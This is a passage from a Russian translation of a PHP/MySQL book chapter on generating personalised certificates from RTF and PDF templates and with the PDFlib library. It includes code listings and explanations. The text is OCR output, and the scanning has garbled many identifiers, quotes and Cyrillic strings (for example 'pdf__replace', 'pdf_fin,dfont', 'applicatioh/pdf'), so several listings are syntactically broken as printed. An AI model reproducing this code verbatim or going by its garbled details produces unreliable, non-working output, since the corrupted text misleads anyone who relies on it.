MIME-тип выводимого файла для отправки соответствующего НТТР-заголовка указывается с помощью PHP-функции header () следующим образом: header(’Content-type: application/msword’); header (’Content-disposition: inline, filename=cert. rtf ’ ; Первый заголовок уведомляет браузер, что ему отправляется документ Microsoft Word (наличие этого вспомогательного приложения для открытия RTF-файла наибо- лее вероятно, хотя это и не всегда так). Второй заголовок указывает браузеру автоматически отобразить содержимое файла с предлагаемым именем cerf.rtf. Именно это имя файла по умолчанию пользователь будет видеть, если попытается сохранить файл из среды своего браузера. После того как заголовки отправлены, мы открываем и считываем RTF-файл шаб- лона в переменную $output и с помощью функции str replace () заменяем запол- нители фактическими данными, которые должны появляться в файле. Следующая строка: $output = str_replace (’ «Name» ’, $name, $output) ; заменит все вхождения заполнителя «Name» содержимым переменной $name. После выполнения всех подстановок остается только передать результат для вывода в окне браузера. Пример результата выполнения этого сценария показан на рис. 32.5. Этот подход работает очень хорошо. Вызов функции str_replace () выполняется достаточно быстро, даже притом, что наш шаблон и, стало быть, содержимое пере- менной $ output характеризуется значительной длиной. С точки зрения этого прило- жения основная проблема состоит в том, что для печати сертификата пользователю придется его загрузить в текстовый процессор. Вероятно, это будет служить своего рода толчком, к модификации документа. RTF-формат не позволяет получить доку- мент, предназначенный только для чтения. Рис. 32.5. Сценарий rtf .php генерирует сертификат из шаблона в RTF-формате Глава 32. Генерация персонифицированных PDF-документов 729
Генерация PDF-сертификата из шаблона Процесс генерации PDF-сертификата из шаблона во многом подобен процессу, который подробно описывался ранее. Основная разница состоит в том, что при соз- дании PDF-файла некоторые заполнители могут быть спутаны с кодами форматиро- вания, в зависимости от применяемой версии Acrobat. Например, если взглянуть на созданный (в текстовом редакторе) шаблон сертификата, несложно заметить, что те- перь заполнители выглядят следующим образом: «N) -13 (АМЕ) -10 (>) -6 (> «Na)-9 (ш) 0 (е)-18 (» <)-11 (<) 1 (sc)-17 (or)-6(е)-6(>) -11 (> <) -11 (<) 1 (т) -12 (т) 0 (/d) -6 (d) -19 (/) 1 (уу) -13 (уу) -13 (» Если вы просмотрите файл, то наверняка увидите, что, в отличие от RTF, этот формат не является столь же читабельным. На заметку! Формат PDF-файла шаблона может варьироваться в зависимости от используемой версии Acrobat или другого инструмента генерации PDF. Предложенный в данном примере код может не работать с вашими собственными шаблонами. В этом случае потребуется должным образом скорректировать код. Если проблемы продолжают возникать, воспользуйтесь примером приме- нения библиотеки PDFlib, который приведен далее в главе. Существует несколько способов выхода из подобной ситуации. Можно просмот- реть каждый из заполнителей и удалить коды форматирования. Это весьма незначи- тельно сказалось! бы на конечном виде документа, поскольку внедренные в предыду- щий шаблон кодьг указывают, сколько места должно быть оставлено между буквами заполнителей, которые в любом случае будут замещаться. Однако при таком подходе придется вручную отредактировать PDF-файл и повторять это при каждом его изме- нении или обновлении. Это не особенно трудно, когда приходится иметь дело только с четырьмя заполнителями, но превращается в настоящий кошмар, когда, например, существует' несколько документов с множеством заполнителей и необходимо изме- нить заголовки во всех документах. Упомянутой проблемы можно избежать, взяв на вооружение другую технологию. Можно с помощью Adobe Acrobat создать PDF-форму, подобную HTML-форме, с пус- тыми именованными полями. Затем можно воспользоваться PHP-сценарием для соз- дания файла в FDF-формате (Forms Data Format — формат данных форм), который представляет собой набор данных, объединяемых с шаблоном. FDF-файлы также можно создавать с использованием библиотеки PHP-функций FDF: в частности, вы- звать функцию f df create () для создания файла, функцию f df set value () — для определения значений полей и функцию fdf setfile () — для определения связан- ного с шаблоном файла формы. Затем этот файл можно передать обратно в браузер с соответствующим MIME-типом, в данном случае vnd.fdf, и подключаемый модуль Acrobat Reader браузера должен подставить данные в форму. Это весьма искусный способ решения задачи, тем не менее, с ним связаны два ог- раничения. Во-первых, предполагается, что у вас имеется коция Acrobat Professional (полная версия, а не бесплатная программа чтения, и даже не версия Standard). Во- вторых, довольно-таки трудно заместить текст, который является встроенным, а не выглядящим как поле формы. Это может оказаться либо трудным, либо не очень, в зависимости от того, что вы пытаетесь сделать. Мы интенсивно использовали гене- 730 Часть V. Реальные проекты на РНР и MySQL
рацию PDF-документов для создания писем, в которых очень многое должно заме- щаться непосредственно в тексте. FDF-файлы не особенно хорошо подходят для этой цели. Однако при онлайновом заполнении, например, налоговой декларации, это не составит особой проблемы. Более подробную, информацию по формату FDF можно получить на сайте компа- нии Adobe: http://www.adobe.com/devnet/acrobat/fdftoolkit.html Если решено использовать именно этот подход, имеет смысл также посмотреть документацию по FDF, которая входит в состав руководства по РНР: http://www.php.net/manual/en/ref.fdf.php Теперь давайте обратимся к нашему решению ранее указанной проблемы, которое предполагает использование PDF. Заполнители в PDF-файле все же можно найти и заменить, если известно, что коды дополнительного форматирования состоят исключительно из дефисов, цифр и круглых скобок и, следовательно, могут быть сопоставлены с регулярным выражени- ем. Мы написали функцию pdfreplace () для автоматической генерации сопостав- ляющего регулярного выражения для заполнителя и для замены этого заполнителя соответствующим текстом. Следует отметить, что в некоторых версиях Acrobat заполнители представ- ляют собой простой текст, поэтому их можно заменять с помощью функции str replace (), как было показано ранее. За исключением этого добавления, код для генерации сертификата с использова- нием PDF-шаблона во многом подобен RTF-версии. Этот сценарий можно найти в листинге 32.4. Листинг 32.4. pdf .php — сценарий для создания персонифицированного PDF-сертификата с использованием шаблона <?php set_time_limit( 180 ); // этот сценарий может оказаться достаточно медленным // Создать короткие имена переменных $name = $_POST['name’]; $score = $_POST [*’ score '] ; function pdf__replace ($pattern, $replacement, $string) { $len = strlen($pattern); $regexp = ’ ’; for($i=0; $i<$len; $i++) { $regexp .= $pattern[$i]; if($i<$len-l) { $regexp .= " (\) \-{0,1} [0-9] *\() {0,1}’’; } } return ereg_replace($regexp, $replacement, $string); } if(!$name || !$score) { echo ”<Ь1>Ошибка:</Ь1> <р>Страница вызвана некорректное/р>"; } else { Глава 32. Генерация персонифицированных PDF-документов 731
// Сгенерировать заголовки, которые упростят браузеру выбор // требуемого приложения для визуализации header(’Content-disposition: filename=cert.pdf’); header(’Content-type: application/pdf’); $date = date(’F d, Y’); // Открыть файл шаблона $filename = ’PHPCertification.pdf’; $fp = fopen ($filename, *r'); // Прочитать шаблон в переменную $output = fread($fp, filesize($filename)); fclose ($fp); // Заменить заполнители в шаблоне требуемыми данными $output = pdf__replace (’«NAME»’, strtoupper ($name) , $output) ; $output = pdf__replace (’«Name»’, $name, $output); $output = pdf_replace (’«score» ’, $score, $output); $output = pdf_replace (’«mm/dd/yyyy»’, $date, $output) ; // Отправить сгенерированный документ в браузер echo $output; Приведенный в листинге 32.4 сценарий создает персонифицированную версию PDF-документа. Документ, показанный на рис. 32.6, будет надежно печататься в раз- личных системах, и получателю довольно-таки трудно будет его модифицировать либо редактировать. Как видите, PDF-документ, показанный на рис. 32.6, выглядит почти так же, как RTF-документ, изображенный на рис. 32.5. Рис. 32.6. Сценарий pdf .php генерирует сертификат на основе шаблона в PDF-формате 732 Часть V. Реальные проекты на РНР и MySQL
Единственная проблема при использовании этого подхода состоит в том, что код работает относительно медленно, поскольку в нем применяются регулярные выраже- ния. Регулярные выражения обрабатываются значительно медленнее, нежели функ- ция str replace (), которой можно было пользоваться в RTF-версии. Если предстоит сопоставить большое количество заполнителей или нужно сге- нерировать много таких документов на одном и том же сервере, возможно, стоит отдать предпочтение другим подходам. В случае более простого шаблона проблема стояла бы не так остро. Дело в том, что в нашем файле значительную часть данных представляют изображения. Генерация PDF-документа с использованием библиотеки PDFlib Библиотека функций PDFlib предназначена для генерации динамических PDF- документов для Веб. Строго говоря, она является не частью РНР, а отдельной библио- текой, содержащей множество функций, предназначенных для вызова из широкого спектра языков программирования. Существуют сборки этой библиотеки для языков С, C++, Java, Perl, Python, Tel и ActiveX/СОМ. Библиотека PDFlib официально поддерживается компанией PDFlib GmbH. Это значит, что вы сможете найти ее описание либо в документации по РНР, которая дос- тупна по адресу: http://www.php.net/en/manual/ref.pdf.php либо загрузить оригинальную документацию по этой библиотеке из сайта http:// www.pdf1ib.com. Простейший сценарий для PDFlib После того как РНР инсталлирован с включенной поддержкой PDFlib, можно про- тестировать его установку с помощью простейшей программы наподобие традицион- ного примера вывода приветствия, код которого показан в листинге 32.5. Листинг 32.5. testpdf .php — классический пример вывода приветствия, использующий PDFlib в среде РНР <?php // Создать pdf-документ в памяти $pdf = pdf_new () ; pdf__open_file ($pdf, ’”’) ; pdf_set_info($pdf, "Author", "Luke Welling and Laura Thomson"); pdf_set_info($pdf, "Title", "Hello World (PHP)"); pdf_set_info ($pdf, "Creator", "testpdf.php"); pdf_set_info ($pdf, "Subject", "Test PDF"); // Выбрать печатный лист стандарта US letter с размерами 11 х 8.5 дюймов //и разрешением приблизительно 72 пункта на дюйм pdf__begin_page ($pdf, 8.5*72, 11*72); // Добавить закладку pdf_add__bookmark ($pdf, ’Страница 1’, 0, 0); Глава 32. Генерация персонифицированных PDF-документов 733
$font = pdf_fin,dfont ($pdf, 'Times-Roman', 'host', 0); pdf_setfont($pdf, $font, 24); pdf_set_text_pos ($pdf, 50, 700); // Вывести текст pdf_show($pdf,'Приветствуем вас!'); pdf_continue_text($pdf,' (says PHP) ') ; // Завершить документ pdf_end_page($pdf); , pdf_close($pdf); $data = pdf_get_buffer($pdf)/ // Сгенерировать заголовки, чтобы браузер смог выбрать нужное приложение header('Content-type: applicatioh/pdf'); header ('Content-disposition: inline; filename=testpdf.pdf'); header('Content-length: ' . strlen($data)); // Вывести PDF echo $data; Наиболее вероятная ошибка, которую может выдать этот сценарий, выглядит так, как показано ниже: Fatal error: Call to undefined function pdf_new() in C:\Program Files\Apache Software Group\Apache2.2\htdocs\phpmysql4e\chapter32\testpdf.php on line 4 Критичёская ошибка: Вызов неопределенной функции pdf_new() в C:\Program fri les\Apache Software Group \Apache2.2\htdocs \phpmysql4e \ chapter32 \ testpdf.php, строка 4 Это означает, что расширение PDFlib не было скомпилировано или включено в РНР. Установка PDFlib достаточно проста, хотя некоторые моменты могут различаться в зависимости от конкретных версий РНР и PDFlib. Для ознакомления с некоторыми соображениями по поводу инсталляции обратитесь к замечаниям со стороны пользо- вателей, которые находятся на странице PDFlib онлайнового руководства по РНР. После установки и успешного выполнения этого сценария в своей системе можно приступить к его исследованию. Следующие строки кода: $pdf = pdf_new () ; pdf_open_file($pdf, ""); инициализируют PDF-документ в памяти. Функция pdf set info () позволяет снабдить документ дескриптором, содержа- щим тему, заголовок, имя создателя, автора, список ключевых слов и одно дополни- тельное поле, определяемое пользователем. В приведенном ниже фрагменте кода мы определяем автора, заголовок, создателя и тему документа. Обратите внимание, что все шесть информационных полей PDF- документа являются необязательными. pdf_set_info($pdf, "Author", "Luke Welling and Laura Thomson"); pdf_set_info($pdf, "Title", "Hello World (PHP)"); pdf_set_info($pdf, "Creator", "testpdf.php"); pdf_set_info($pdf, "Subject", "Test PDF"); 734 Часть V. Реальные проекты на РНР и MySQL
PDF-документ состоит из набора страниц. Чтобы начать новую страницу, следу- ет обратиться к функции pdf_begin_page (). Как и идентификатору, возвращаемому функцией pdf open (), функции pdf begin page () требуется передать размеры стра- ницы. Каждая страница в документе может иметь свои размеры, однако если только на то не существует веских причин, следует задавать одинаковые размеры страниц. И для размеров страниц, и для определения координат положений на странице в PDFlib используются пункты (points). Например, страница формата А4 имеет разме- ры, равные приблизительно 595 на 842 пунктов, а страница формата U.S. letter — 612 на 792 пунктов. Это означает, что следующая строка: pdf_begin_page($pdf, 8.5*72, 11*72); создает внутри документа страницу, размеры которой соответствуют стандартному формату U.S. letter. PDF-документ не обязательно должен быть печатным. В документ могут быть вне- дрены многие возможности PDF, такие как гиперссылки и закладки. Функция pdf add bookmark () добавляет закладку в структуру документа. Закладки в документе будут отображаться в отдельной панели окна Acrobat Reader, позволяя переходить непосредственно к важным разделам. Строка: pdf_add_bookmark($pdf, 'Страница 1’, 0, 0); добавляет закладку, помеченную как “Страница 1”, которая ссылается на текущую страницу. Доступные в системе шрифты варьируются от одной операционной системы к другой, и даже от одного компьютера к другому. Набор основных шрифтов, работаю- щих с любой программой чтения PDF-документов, обеспечит единообразие результа- тов. Вот как выглядит перечень 14 основных шрифтов: Courier Courier-Bold Courier-Oblique Courier-BoldOblique Helvetica Helvetica-Bold Helvetica-Oblique Helvetica-BoldOblique Times-Roman Times-Bold Times-Italic Times-Boldltalic Symbol ZapfDingbats В документы можно внедрять и другие шрифты, не входящие в представленный список, но это приведет к увеличению размеров файла и может противоречить ли- цензионному соглашению на использование того или иного шрифта. Глава 32. Генерация персонифицированных PDF-документов 735
Шрифт, его размер и кодировку символов можно выбрать следующим образом: $font = pdf_findfont($pdf, 'Times-Roman', 'host', 0); pdf_setfont($pdf, $font, 24); Размеры шрифтов задаются в пунктах. Мы выбрали кодировку символов, уста- новленную на хосте (’ host' )• Допустимыми значениями этого параметра являются winansi, builtin, macroman, ebcdic и host. Ниже описано, что они означают. winansi — кодировка символов в соответствии со стандартом ISO 8859-1 плюс специальные символы, добавленные компанией Microsoft, например, символ де- нежной единицы евро. builtin — использование кодировки, встроенной в шрифт. Обычно использует- ся со шрифтами и символами, отличными от латинских. macroman — кодировка Mac Roman. Набор символов, устанавливаемый по умол- чанию на компьютерах Macintosh. ebcdic — кодировка EBCDIC, используемая в системах IBM AS/400. host — автоматически выбирает macroman для системы Macintosh, ebcdic для сис- темы, использующей кодировку EBCDIC, и winansi во всех остальных случаях. Если применение специальных символов не требуется, выбор кодировки роли не играет. PDF-документ не похож на HTML-документ или на документ текстового процессо- ра. Текст не начинается просто с верхнего левого угла и не продолжается при необ- ходимости в других строках. Необходимо выбирать местоположение каждой строки текста. Как уже упоминалось, для указания местоположения в PDF-документе исполь- зуются пункты. Начало координат (х, у, равные [0, 0]) располагается в нижнем левом углу страницы. Если используемая страница имеет размеры 612 на 792 пункта, то точка (50, 700) находится на расстоянии приблизительно двух третей дюйма от левого края страни- цы и около одного и одной трети, дюйма от верхнего края. Чтобы расположить текст в этой позиции, применяется следующая строка: pdf_set_text_pos ($pdf, 50, 700); И, наконец, определив параметры страницы, можно разместить на ней некото- рый текст. Для добавления текста в текущую позицию с использованием текущего шрифта служит функция pdf show (). Приведенная ниже строка: pdf_show($pdf,'Приветствуем вас!'); добавляет в документ текст "Приветствуем вас! ". Для перехода на следующую строку и записи нового текста используется функция pdf continue text (). Таким образом, следующий код приводит к добавлению в до- кумент строки " (говорит РНР) ": pdf_continue_text($pdf,'(говорит РНР)'); Точное расположение этого текста будет зависеть от выбранного шрифта и его размера. Если вместо строки текста или отдельной фразы необходимо разместить несколь- ко абзацев текста, более полезной будет функция pdf show boxed (). Она позволяет объявить текстовое окно и заполнить его конкретным текстом. 736 Часть V. Реальные проекты на РНР и MySQL
По завершении добавления элементов на страницу следует вызвать функцию pdf_end_page(): pdf_end_page($pdf); Закончив создание всего PDF-документа, его необходимо закрыть с помощью функции pdf close (). Если вы генерируете какой-то файл, по завершении его также следует закрыть. Следующая строка: pdf_close($pdf); завершает генерацию рассматриваемого документа. Теперь документ можно отправить в браузер: $data = pdf_get_buffer($pdf); // Сгенерировать заголовки, чтобы браузер смог выбрать нужное приложение header('Content-type: application/pdf'); header('Content-disposition: inline; filename=testpdf.pdf'); header('Content-length: ' . strlen($data)); // Вывести PDF echo $data; При желании полученные данные могут быть записаны также и на диск. Библиотека PDFlib позволяет это делать, передавая имя файла во втором параметре функции pdf_open_file (). Следует отметить, что некоторые параметры функций PDFlib, обозначенные в ру- ководстве по РНР как необязательные, в ряде версий PDFlib таковыми не являются. Документ, который потребуется создать для сертификата, более сложен и содержит рамку, а также векторное и растровое изображения. При использовании двух других технологий мы добавили эти элементы в текстовом процессоре. В случае подхода с библиотекой PDFlib их необходимо добавить вручную. Генерация сертификата с помощью PDFlib Чтобы использовать PDFlib в этом проекте, нам пришлось пойти на некоторые компромиссы. Хотя почти наверняка можно продублировать сертификат, который использовался ранее, для создания макета документа гораздо большие усилия потре- бовались бы при генерации и позиционировании каждого элемента вручную, чем при использовании инструмента, подобного текстовому процессору Microsoft Word. В этом случае применяется тот же текст, что и ранее, включая красную розетку и растровое изображение подписи, однако мы не планируем повторять сложную рамку. Полный исходный текст этого сценария можно найти в листинге 32.6. Листинг 32.6. pdf lib. php — генерация сертификата с использованием библиотеки PDFlib <?php // Создать короткие имена переменных $name = $_POST['name']; $score = $_POST['score']; if(!$name || !$score) { echo "<hl>0inn6Ka:</hl> <р>Эта страница вызвана некорректно</р>"; exit; Глава 32. Генерация персонифицированных PDF-документов 737
} else { $date = date (' F d, Y’) ; // Создать pdf-документ в оперативной памяти $pdf = pdf_new () ; pdf_open_file($pdf, // Установить имя шрифта для дальнейшего использования $fontname = 'Times-Roman'; // Определить размеры страницы в пунктах. // Страница US letter имеет размеры 11 х 8.5 дюймов //и разрешение приблизительно 72 пункта на дюйм $width = 11*72; $height = 8.5*72; pdf_begin_page($pdf, $width, $height); // Нарисовать рамки $inset =20; // расстояние между рамкой и краем страницы $border =10; // толщина линии основной рамки $inner =2; // промежуток внутри рамки // Нарисовать внешнюю рамку pdf_rect($pdf, $inset-$inner, $inset-$inner, .$width-2*($inset-$inner), $height-2*($inset-$inner)); pdf_stroke($pdf); // Нарисовать основную рамку толщиной $border пунктов pdf_setlinewidth($pdf, $border); pdf_rect($pdf, $inset+$border/2, $inset+$border/2, $width-2*($inset+$border/2), $height-2*($inset+$border/2)); pdf_stroke($pdf); pdf_setlinewidth($pdf, 1.0); // Нарисовать внутреннюю рамку pdf_rect ($pdf, $inset+$border+$inner, $inset+$border+$inner, $width-2*($inset+$border+$inner), $height-2*($inset+$border+$inner)); pdf_stroke($pdf); // Добавить заголовок $font = pdf_findfont($pdf, $fontname, 'host’, 0); if ($font) { pdf_setfont($pdf, $font, 48); } $startx = ($width - pdf_stringwidth($pdf, 'PHP Certification', $font, '12'))/2; pdf_show_xy($pdf, 'PHP Certification', $startx, 490); // Добавить текст $font = pdf_findfont($pdf, $fontname, 'host', 0); if ($font) { pdf_setfont($pdf, $font, 26); } $startx = 70; pdf_show_xy($pdf, 'This is to certify that:', $startx, 430); pdf_show_xy($pdf, strtoupper($name), $startx+90, 391); 738 Часть V. Реальные проекты на РНР и MySQL
$font = pdf_findfont($pdf, $ fontname, 'host', 0) ; if ($font) { pdf_setfont($pdf, $font, 20); } pdf_show_xy($pdf, 'has demonstrated that they are certifiable 'by passing a rigorous exam', $startx, 340); pdf_show_xy($pdf, 'consisting of three multiple choice questions.', $startx, 310); pdf_show_xy($pdf, "$name obtained a score of $score".'%, $startx, 260); pdf_show_xy ($pdf, 'The test was set and overseen by the ', $startx, 210); pdf_show_xy($pdf, 'Fictional Institute of PHP Certification', $startx, 180); pdf_show_xy($pdf, "on$date.", $startx, 150); pdf_show_xy($pdf, 'Authorized by:', $startx, 100); / / Добавить растровое изображение подписи $signature = pdf_load_image($pdf, 'png', '/Program Files/Apache Software Foundation/Apache2.2/htdocs/phpmysql4e/chapter32/signature.png', ’’•); pdf_fit_image($pdf, $signature, 200, 75, ' '); pdf_close_image($pdf, $signature); // Настроить цвета для вывода розетки pdf_setcolor ($pdf, 'both', 'cmyk', 43/255, 49/255, 1/255, 67/255); // темно-синий pdf_setcolor ($pdf, 'both', 'cmyk', 1/255, 1/255, 1/255, 1/255); // черный // Нарисовать первую ленточку pdf_moveto ($pdf, 630, 150); pdf_lineto ($pdf, 610, 55); pdf_lineto($pdf, 632, 69); pdf_lineto($pdf, 646, 49); pdf_lineto($pdf, 666, 150); pdf_closepath($pdf); pdf_fill($pdf); / / Нарисовать контур первой ленточки pdf_moveto ($pdf, 630, 150); pdf_lineto ($pdf, 610, 55); pdf_lineto($pdf, 632, 69); pdf_lineto($pdf, 646, 49); pdf_lineto($pdf, 666, 150); pdf_closepath($pdf); pdf_stroke($pdf); // Нарисовать вторую ленточку pdf_moveto($pdf, 660, 150); pdf_lineto($pdf, 680, 49); pdf_lineto($pdf, 695, 69); pdf_lineto($pdf, 716, 55); pdf_lineto($pdf, 696, 150); pdf_closepath($pdf) ; pdf_fill($pdf); // Нарисовать контур второй ленточки pdf_moveto($pdf, 660, 150); pdf_lineto($pdf, 680, 49); pdf_lineto($pdf, 695, 69); Глава 32. Генерация персонифицированных PDF-документов 739
pdf_lineto($pdf, 716, 55); pdf_lineto($pdf, 696, 150); pdf_closepath($pdf); pdf_stroke($pdf); pdf_setcolor ($pdf, 'both', ’cmyk', 1/255, 81/255, 81/255, 20/255); // красный // Нарисовать розетку draw_star(665, 175, 32, 57, 10, $pdf, true); / / Нарисовать контур розетки draw_star(665, 175, 32, 57, 10, $pdf, false); // Завершить формирование страницы и подготовить ее к выводу pdf_end_page($pdf); pdf_close($pdf); $data = pdf_get_buffer($pdf); // Сгенерировать заголовки, которые упростят браузеру выбор // требуемого приложения для визуализации header('Content-type: application/pdf’); header('Content-disposition: inline; filename=test.pdf’); header('Content-length: ' . strlen($data)); // Вывести PDF-документ echo $data; } function draw_star($centerx, $ceritery, $points, $radius, $point_size, $pdf, $filled) { $inner_radius = $radius-$point_size; for($i=0; $i<=$points*2; $i++) { $angle = ($i*2*pi())/($points*2); if($i%2) { $x = $radius*cos($angle) + $centerx; $y = $radius*sin($angle) + $centery; } else { $x = $inner_radius*cos($angle) + $centerx; $y = $inner_radius*sin($angle) + $centery; } if($i==0) { pdf_moveto ($pdf, $x, $y) ; } else if($i==$points*2) { pdf_closepath($pdf); } else { pdf_lineto($pdf, $x, $y) ; } } if($filled) { pdf_fill_stroke($pdf); } else { pdf_stroke($pdf); 740 Часть V. Реальные проекты на PHP и MySQL
Сгенерированный этим сценарием сертификат показан на рис. 32.7. Как видите, он очень похож на созданные ранее сертификаты, за исключением того, что его рам- ка проще, а розетка выглядит несколько иначе. Это связано с тем, что они были на- рисованы непосредственно в документе, а не с использованием существующего фай- ла с изображением. fcckt Hgtory gookmari® Tods Help а РНР Certification This is to certify that: КОСЕНКО ВЕРА has demonstrated that they are certifiable by passing a rigorous exam consisting of three multiple choice questions. КОСЕНКО Вора obtained a score of 100.0%. The test was set and overseen by the Fictional Institute of PHP Certification on April 16. 2009. Authorised by: Done Рис. 32.7. Сценарий pdf lib. php генерирует сертификат в PDF-документе Давайте рассмотрим некоторые части данного сценария, отличающиеся от приве- денных ранее примеров. Посетителям необходимо, чтобы в сертификате отображались их персональные данные, поэтому документ будет создаваться в памяти, а не в файле. Если бы он был записан в файл, следовало бы позаботиться о механизмах создания уникальных имен файлов, предотвратить подглядывание чужих сертификатов и определить способ^ удаления устаревших файлов сертификатов с целью освобождения пространства на жестком диске сервера. Для создания документа в памяти вызывается функция pdf open () без параметров, за которой следует вызов функции pdf open f ile (): $pdf = pdf_new (); pdf_open_file($pdf, Упрощенная рамка будет состоять из трех контуров: одного жирного и двух тон- ких, один из которых располагается снаружи основного, а другой — внутри. Все эти контуры рисуются в виде прямоугольников. Для размещения рамок так, чтобы можно было легко изменять размеры страницы или внешний вид рамок, позиции всех рамок будут основаны на уже существующих переменных $width и $height, а также на ряде других: $ inset, $border и $ inner. Переменная $ inset будет использоваться для указания расстояния между рамкой и краем страницы в пунктах, $ border — для указания толщины основной рамки, а $ inner — для указания ширины промежутка между основной и тонкими рамками. Глава 32. Генерация персонифицированных PDF-документов 741
Если читателям/ ранее доводилось выполнять рисование с помощью другого гра- фического API-интерфейса, рисование с помощью PDFlib преподнесет несколько сюрпризов. Если вы не прочли главу 22, возможно, стоит сделать это прямо сейчас, поскольку рисование изображений с помощью библиотеки gd очень похоже на рисо- вание с помощью PDFlib. Тонкие рамки не представляют особой сложности. Для создания прямоугольника мы используем функцию pdf rect (), которая в качестве параметров требует переда- чи идентификатора PDF-документа, координат х и у нижнего левого угла прямоуголь- ника, а также его ширины и высоты. Поскольку мы пытаемся обеспечить гибкость макета, эти значения вычисляются на основе определенных нами переменных. pdf_rect($pdf, $inset-$inner, $inset-$inner, $width-2*($inset-$inner), $height-2*($inset-$inner)); Вызов функции pdf rect () определяет контур формы прямоугольника. Чтобы вычертить эту форму, потребуется обратиться к функции pdf st г оке (): pdf_stroke($pdf); Для рисования основной рамки необходимо указать толщину линии. По умол- чанию толщина линии составляет 1 пункт. Следующее обращение к функции pdf setlinewidth () устанавливает ее равной $border пунктов (в данном случае — 10): pdf_setlinewidth($pdf, $border); После установки толщины мы снова создаем прямоугольник с помощью функции pdf rect () и вызываем функцию pdf stroke (), чтобы его нарисовать: pdf_rect($pdf, $inset+$border/2, $inset+$border/2, $width-2*($inset+$border/2), $height-2*($inset+$border/2)); pdf_stroke($pdf); После того как толстая линия нарисована, нужно не забыть снова установить тол- щину линии равной 1 пункту: pdf_setlinewidth ($pdf, 1.0); Мы используем функцию pdf show xy () для размещения каждой строки текста внутри сертификата. Для большинства строк текста применяется настраиваемая левая граница ($startx) в качестве координаты х и выбранное на глаз значение в качестве координаты у. Поскольку требуется, чтобы заголовок располагался по цен- тру относительно боковых сторон страницы, для размещения его левого края нуж- но знать ширину заголовка. Эту ширину можно получить с помощью функции pdf_stringwidth(). Следующий вызов функции: pdf_stringwidth ($pdf, 'РНР Certification' , $font, '12'); вернет ширину строки РНР Certification для текущего шрифта и его размера. Как это было сделано с другими версиями сертификата, подпись будет вставлена в него в виде сканированного растрового изображения. Следующие три оператора: $signature = pdf_load_image($pdf, 'png', '/Program Files/Apache Software Foundation/Apache2.2/htdocs/phpmysql4e/chapter32/signature.png', '') ; pdf_fit_image($pdf, $signature, 200, 75, ''); pdf_close_image($pdf, $signature); 742 Часть V. Реальные проекты на РНР и MySQL
открывают PNG-файл, содержащий изображение подписи, добавляют изображение в указанную позицию на странице и, наконец, закрывают PNG-файл. Можно использо- вать и другие типы файлов. На заметку! При загрузке изображения с помощью функции pdf_load_image() указывайте полный путь к файлу в файловой системе. В рассматриваемом примере полный путь к файлу signature .png задан для Windows-системы. Наибольшую трудность при вставке в сертификат с использованием библиотеки PDFlib представляет розетка. Мы не можем автоматически открыть и вставить в до- кумент существующий метафайл Windows с изображением розетки, однако можем на- рисовать любые формы. Чтобы нарисовать закрашенную форму, например ленточку, мы написали следую- щий код. В приведенных ниже строках мы устанавливаем цвет штриха или линии черным, а цвет заливки или внутренней части формы темно-синим: pdf_setcoior($pdf, 'both', 'cmyk', 43/255, 49/255, 1/255, 67/255); // темно-синий pdf_setcolor($pdf, 'both', ’cmyk', 1/255, 1/255, 1/255, 1/255); // черный Затем мы рисуем пятиугольник, который будет представлять одну из ленточек, и выполняем его заливку: pdfjnoveto($pdf, 630, 150); pdf_lineto ($pdf, 610, 55); pdf_lineto($pdf, 632, 69); pdfJLineto ($pdf, 646, 49); pdf_lineto ($pdf, 666, 150); pdf_closepath($pdf); pdf_fill($pdf); Поскольку необходимо, чтобы многоугольник имел четкий контур, нужно еще раз определить этот же путь, но на сей раз обратиться к функции pdf stroke (), а не pdf_fill(). Так как многолучевая звезда является сложной повторяющейся формой, мы подготовили функцию для вычисления точек вдоль пути. Эта функция имеет имя draw star () и требует передачи ей координат х и у центра, необходимого количест- ва лучей, длины лучей, идентификатора PDF-документа, а также булевского значения для указания того, должна ли форма звезды быть залитой или просто контуром. Функция draw star () использует некоторые основные тригонометрические формулы для вычисления расположения ряда лучей, образующих звезду. Для каждого луча мы определяем точку на окружности с радиусом звезды и точку на меньшей ок- ружности, расположенной на расстоянии $point_size внутри внешней окружности, после чего рисуем линию между ними. Следует отметить, что тригонометрические функции РНР вроде cos () и sin() работают с углами, заданными в радианах, а не градусах. Используя эту функцию и математические формулы, можно аккуратно сгенериро- вать сложную повторяющуюся форму. Если бы для рамки страницы требовался слож- ный узор, можно было бы воспользоваться аналогичным подходом. После того как все элементы страницы сгенерированы, необходимо завершить формирование страницы и документа. Глава 32. Генерация персонифицированных PDF-документов 743
Решение проблем, связанных с заголовками Один незначительный нюанс во всех этих сценариях, который все Ясе стоит от- метить, заключается в том, что браузеру потребуется указать, какой тип данных мы собираемся ему отправлять. Это делается через HTTP-заголовок Content-Type, как показано в следующих примерах: header('Content-type: application/msword'); или header('Content-type: application/pdf'); Следует иметь в виду, что браузеры обрабатывают эти заголовки не особенно после- довательно. В частности^ Internet Explorer зачастую игнорирует MIME-тип и предприни- мает попытку автоматического определения типа файла. (Похоже, что данную проблему компании Microsoft таки удалось решить в последних версиях этого браузера, поэтому если вы с ней сталкиваетесь, имеет смысл обновить версию этого браузера.) Некоторые заголовки могут вступать в противоречие с заголовками управления сеансом. Для решения этой проблемы существует несколько путей. Мы установили, что использование GET-параметров вместо POST-параметров или параметров с пере- менными сеанса позволяет избежать упомянутой проблемы. Еще одно решение состоит в том, чтобы не использовать встроенные PDF-до- кументы, а взамен предлагать пользователю загружать их. Проблем можно также избежать, если написать две слегка отличающихся версии кода: одну для браузера Netscape, а другую — для Internet Explorer. Расширение проекта Добавление некоторых более рёгЬшстичных экзаменационных вопросов, очевид- но, могло бы расширить этот проект, однако он действительно задумывался только как пример, иллюстрирующий доставку документов через Веб. К числу персонифицированных документов, которые может потребоваться дос- тавлять в онлайновом режиме, относятся юридические документы, частично запол- ненные формы заказов либо заявлений или формы, которые требуют государствен- ные учреждения. Что дальше В следующей главе мы рассмотрим возможности РНР, связанные с использова- нием XML, а также вопросы подключения к API-интерфейсу веб-служб компании Amazon с помощью REST и SOAP. 744 Часть V. Реальные проекты на РНР и MySQL
